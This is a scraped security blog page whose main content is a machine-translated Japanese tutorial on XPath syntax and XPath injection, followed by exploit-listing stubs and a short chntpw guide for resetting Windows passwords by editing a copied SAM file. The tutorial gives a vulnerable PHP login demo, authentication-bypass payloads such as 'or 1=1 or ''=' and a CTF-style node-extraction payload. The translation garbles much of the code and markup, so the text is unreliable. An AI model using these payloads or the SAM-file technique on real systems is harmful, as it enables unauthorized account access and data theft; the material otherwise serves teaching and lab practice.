Langという名前の属性を持つすべてのタイトル要素を選択します
//title [@lang=’eng’]
すべてのタイトル要素を選択すると、これらの要素にはvalue engを持つラング属性があります
/bookstore/book_price35.00 ]/title
書店要素で本要素のすべてのタイトル要素を選択します。
価格要素の値は35.00を超える必要があります
(5)ワイルドカード
Xpathワイルドカードを使用して、不明なXML要素を選択できます。
ワイルドカード
説明する
*
任意の要素ノードを一致させます
@*
属性ノードを一致させます
ノード()
あらゆるタイプのノードを一致させます
例、
表現
結果
/bookstore/*
書店要素のすべての子要素を選択します
//*
ドキュメント内のすべての要素を選択します
//タイトル[@*]
属性を持つすべてのタイトル要素を選択します
(6)複数のパス
を選択します 「|」を使用できますいくつかのパスを選択するパス式の演算子。
例、
表現
結果
//book/title \
//Book/Price
本要素のすべてのタイトルと価格要素を選択します
書店/本/タイトル\
//価格
書店要素に属する本要素のすべてのタイトル要素と、ドキュメント内のすべての価格要素を選択します
(7)演算子
パス式では、いくつかの一般的な数学演算子および論理演算子を使用できます。
(8)関数
名前の結果
祖先
現在のノードのすべての祖先(父、祖父など)を選択してください
先祖または自己
現在のノード(父、祖父など)のすべての祖先と現在のノード自体を選択します
属性
現在のノードのすべての属性を選択します
子供
現在のノードのすべての子要素を選択します。
子孫
現在のノードのすべての子孫要素(子供、孫など)を選択します。
子孫または自己
現在のノードと現在のノード自体のすべての子孫要素(子供、孫など)を選択します。
続く
ドキュメント内の現在のノードの終了タグの後にすべてのノードを選択します。
名前空間
現在のノードのすべての名前空間ノードを選択します
親
現在のノードの親ノードを選択します。
前に
ドキュメント内の現在のノードの開始タグの前に、すべてのノードを選択します。
先行する兄弟
現在のノードの前に同じレベルですべてのノードを選択します。
自己
現在のノードを選択します。
パス式は、絶対的なパスまたは相対パスである場合があります。例えば:
絶対位置パス:/step/step/.
相対位置パス:ステップ/ステップ/.
各ステップは、次のような表現になります。
軸(関数)(軸)
選択したノードと現在のノードとの間のツリーの関係を定義します
ノードテスト
軸内のノードを識別します
ゼロ以上の述語
選択したノードセットをより深く改良します
例:結果の例
child:book
現在のノードのすべての子要素を選択します
属性:Lang
現在のノードのLang属性を選択します
子:*
現在のノードのすべての子要素を選択します
属性:*
現在のノードのすべての属性を選択します
child:3360text()
現在のノードのすべてのテキストチャイルドノードを選択します
child:3360node()
現在のノードのすべての子供を選択します
descendant:book
現在のノードのすべての本の子孫を選択します
Ancestor:book
現在のノードのすべての本の祖先を選択します
祖先または自己:book
現在のノードのすべての本の祖先と現在のノードを選択します(ノードが本ノードの場合)
child:*/child:3360price
現在のノードのすべての価格の孫を選択します。
0x03 Xpath注入の定義
XPathインジェクション攻撃とは、XPathパーサーのゆるい入力および断層許容度の使用を指します。
悪意のあるXPathクエリコードがURL、フォーム、またはその他の情報に添付され、許可情報にアクセスして変更します。 Xpathインジェクション攻撃は、Webサービスの新しい攻撃方法です。これにより、攻撃者は、事前にXPathクエリの関連する知識を知らずに、XPathクエリを使用してXMLドキュメントの完全なコンテンツを取得できます。 XPathインジェクション攻撃は、SQLインジェクション攻撃に本質的に似ており、いくつかの悪意のあるクエリとその他のコード文字列の両方でWebサイトを攻撃します。
0x04 xpathインジェクション説明
XPathインジェクション攻撃とは、URL、フォーム、またはその他の情報に悪意のあるXPathクエリコードを添付して、許可情報にアクセスして変更する機能を指します。 XPathインジェクションは、サイトがユーザーが入力した情報を使用してXMLデータを取得するリクエストを作成するときに発生します。攻撃者は、サイトに特別に構築された情報をサイトに送信して、サイトで使用されるXMLの構築方法を調査し、通常のチャネルでは取得できないデータをさらに取得します。 XMLデータがアカウント検証として使用される場合、攻撃者は許可を増やすこともできます。
0x05 xpath噴射原理
Xpath注入の原理は、実際にはSQL注入と非常に似ています。 Xpath噴射攻撃は、主に特別な入力を使用して特別な入力を構築します。これらの入力は、多くの場合、Xpath構文のいくつかの組み合わせです。これらの入力はパラメーターとしてWebアプリケーションに渡され、侵入者はXPathクエリを実行することで望みます。ただし、注入されたオブジェクトはデータベースユーザーテーブルではなく、データを保存するXMLファイルです。攻撃者は、XMLデータの組織構造を取得したり、通常の状況では許可されていないデータにアクセスできます。 XMLデータがユーザー認証に使用される場合、攻撃者は許可を増やすことができます。 Xpathにはアクセス制御がないため、SQLインジェクションでしばしば遭遇する多くのアクセス制限に遭遇しません。 XMLにはアクセス制御やユーザー認証はありません。ユーザーがXPathクエリを使用する許可があり、それらの間に防御システムがない場合、またはクエリステートメントが防御システムによってフィルタリングされていない場合、ユーザーはXMLドキュメント全体にアクセスできます。インジェクションは、場所がCookie、ヘッダー、要求パラメーター/入力などである場合に発生します。Xpathインジェクション攻撃の実装原則を示す例として、以下はログイン検証のモジュールです。
Webアプリケーションのログイン検証プログラムには、通常、ユーザー名とパスワードの2つのパラメーターがあります。このプログラムは、ユーザーが提出したユーザー名とパスワードを介して承認操作を実行します。検証データがXMLファイルに保存されている場合、原則は、ユーザーテーブルでユーザー名とパスワードを探すことでアクセスを承認することです。
user.xmlファイルは次のように存在します。
ユーザー
ユーザー
FirstNameBen/FirstName
lastnameelmore/lastName
loginidabc/loginid
PasswordTest123/パスワード
/ユーザー
ユーザー
FirstnameShlomy/firstName
lastnamegantz/lastName
loginidxyz/loginid
Password123Test/パスワード
/ユーザー
Xpathでは、その典型的なクエリステートメントは次のとおりです。
//users/user [loginid/text()='xyz'and password/text()=' 123test ']
ただし、次の方法を使用して、噴射攻撃を実装して認証をバイパスすることができます。もし
ユーザーは、loginid='xyz'やパスワード='123test'などのログインとパスワードを渡し、クエリステートメントがtrueを返します。ただし、ユーザーが 'または1=1または' '='のような値を渡すと、XPath Queryステートメントが最終的に次のコードになるため、クエリステートメントも真の返品値を取得します。
//users/user [loginid/text()=''または1=1または ''='' and
パスワード/テキスト()=''または1=1または ''='']
この文字列により、クエリが実際に返されるようになり、攻撃者が常にシステムにアクセスできるようになります。攻撃者はXPathを使用して、アプリケーションでXMLドキュメントを動的に操作できます。攻撃が完了した後、Xpathブラインドエントリテクノロジーを通じて最高の許可アカウントとその他の重要な文書情報を取得できます。拡張するために、updataxml()関数を介したXPTHエラーインジェクションの実装やXPTHブラインドアノテーションなど、Xpathインジェクションには多くのトリックがあります。
1.xpath実装原則1
主流のスクリプト言語は、XPathの処理をサポートします。今、私はPHPを使用してXpath注入の原理を学びます。
blog.xml:xmlバージョン='1.0' encoding='utf-8'?
根
ユーザー
ユーザー
id1/id
usernameadmin/username
パスワード
type='MD5'0192023A7BBD73250516F069DF18B500/パスワード
/ユーザー
ユーザー
id2/id
usernamejack/username
パスワード
type='MD5'1D6C1E168E362BC0092F247399003A88/パスワード
/ユーザー
ユーザー
id3/id
usernametony/username
パスワード
type='MD5'CC20F43C8C24DBC0B2539489B113277A/パスワード
/ユーザー
/ユーザー
秘密
flagflag {my_f1rst_xp4th_injecti0n}/flag
/秘密
/根
index.php:php
$ xml=simplexml_load_file( 'blog.xml');
$ name=$ _get ['name'];
$ pwd=md5($ _ get ['pwd']);
$ query=
'/root/users/user [username/text()=''.$Name。' 'およびpassword/text()=' '。$ pwd。' ']';
echo $ query;
$ result=$ xml-xpath($ query);
if($ result){
エコー
'h2welcome/h2';
foreach($ ressure $ key
=$ value){
エコー
'br /id:'.$value-id;
エコー
'br /username:'.$value-username;
}
}
コードは非常にシンプルで、簡単なログイン検証関数を実装しています。実際、それはSQLインジェクションに似ており、ユーザーが入力したデータをフィルタリングせず、攻撃者が「XPath式」を直接注入できるようになります。ユーザー名を知っている限り、パスワード検証をバイパスできます。
http://127.0.0.1/xpath/index.php?name=admin 'または
'1'='1pwd
ユーザー名がわからない場合は、2つの "または"を使用して検証ロジックをバイパスできます
http://127.0.0.1/xpath/index.php?name=fake 'または
'1'or'1pwd=fake
データを抽出します
2.xpath実装原則2
ここに例があります:
?php
$ re=
array( 'and'、 '、'、 'count'、 'select'、 'from'、 'union'、 'group'、 'by'、 'limit'、 'insert'、 'where'、 'orders'、 'delete'、 'having'、 'max'、 'min、' avg '、' sum '、' sqrt '、' concat ')、
setCookie( 'injection'、 'c3fsasbpcybub3qgdghlig9ubhkgd2f5igzvcibbmply3rpb24='、time()+100000);
if(file_exists( 't3stt3st.xml')){
$ xml=
simplexml_load_file( 't3stt3st.xml');
$ user=$ _ get ['user'];
$ user=str_replace($ re、 ''、
$ user);
//$ user=str_replace( ''、 'apos'、$ user);
$ query='user/username [@name=' '。$ user。' ']';
$ ans=$ xml-xpath($ query);
foreach($ ans as $ x=
$ x_value)
{
echo $ x.': '。 $ x_value;
エコー 'BR
/';
}
}
次のように、 /download.php?file=backup.zipにアクセスして、Webページソースコードをダウンロードしてください。
最初に、彼はSQLによって注入されたいくつかのキーワードをフィルタリングしました。 SetCookieには、base64暗号化された暗号文があります。デコード後、結果は次のとおりです。
SQLが唯一の注入方法ではなく、XMLの次の一連の操作と組み合わされたプロンプトに従って、この質問にXPathが注入されていることを確認できます。したがって、$ query='user/username [@name=' '。$ user' ']';
$ query='user/username [@name=' '] | //*| ss [' ']';
このペイロードの意味は、「。$ user」の前後の単一の引用を閉じることです。同時に3つの操作を実行します。 2番目の操作//*はキーポイントであり、ドキュメント内のすべての要素をリストし、最終的にフラグを取得します
3.xpath原理実装3
スコアを保存するXMLファイルがあります。
score.xml:
- Read more...
- 0 comments
- 11 views

ApacheOfBiz 17.12.01 - Remote Command Execution (RCE)
HACKER · %s · %s
- Read more...
- 0 comments
- 10 views

RATES SYSTEM 1.0 - Authentication Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 11 views

- Read more...
- 0 comments
- 12 views

- Read more...
- 0 comments
- 11 views

CentOS Web Panel 0.9.8.1081 - Stored Cross-Site Scripting (XSS)
HACKER · %s · %s
- Read more...
- 0 comments
- 11 views

COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 11 views

- Read more...
- 0 comments
- 12 views

- Read more...
- 0 comments
- 11 views

Title: Change Windows Password using CHNTPW
HACKER · %s · %s
Now playing: Sorry Louis C.K. Sorry (2021)
List of episodes
Sorry Louis C.K. Sorry (2021)
A string
User Command
chntpw -h
chntpw: change password of a user in a Windows SAM file,
or invoke registry editor. Should handle both 32 and 64 bit windows and
all version from NT3.x to Win8.1
chntpw [OPTIONS] samfile [systemfile] [securityfile] [otherreghive] [.]
-h This message
-u user Username or RID (0x3e9 for example) to interactively edit
-l list all users in SAM file and exit
-i Interactive Menu system
-e Registry editor. Now with full write support!
-d Enter buffer debugger instead (hex editor),
-v Be a little more verbose (for debugging)
-L For scripts, write names of changed files to /tmp/changed
-N No allocation mode. Only same length overwrites possible (very safe mode)
-E No expand mode, do not expand hive file (safe mode)
Practical combat
Install kali with a USB flash drive and start. Copy the Sam file to the kali desktop, or use the USB drive boot tool to copy the Sam file to the USB drive, and then copy it to kali.
List all users
chntpw –l sam file
Modify username and password
chntpw –u user sam file
Just type the number corresponding to the task we need. Here we are changing the password. So, type '2'.
The tool will then ask for a new password. Just type it and press Enter. It then asks if we want to save the password. Press y to save the new password. Now, we have changed the password in the SAM file.
- Read more...
- 0 comments
- 11 views

SonicWall NetExtender 10.2.0.300 - Unquoted Service Path
HACKER · %s · %s
- Read more...
- 0 comments
- 10 views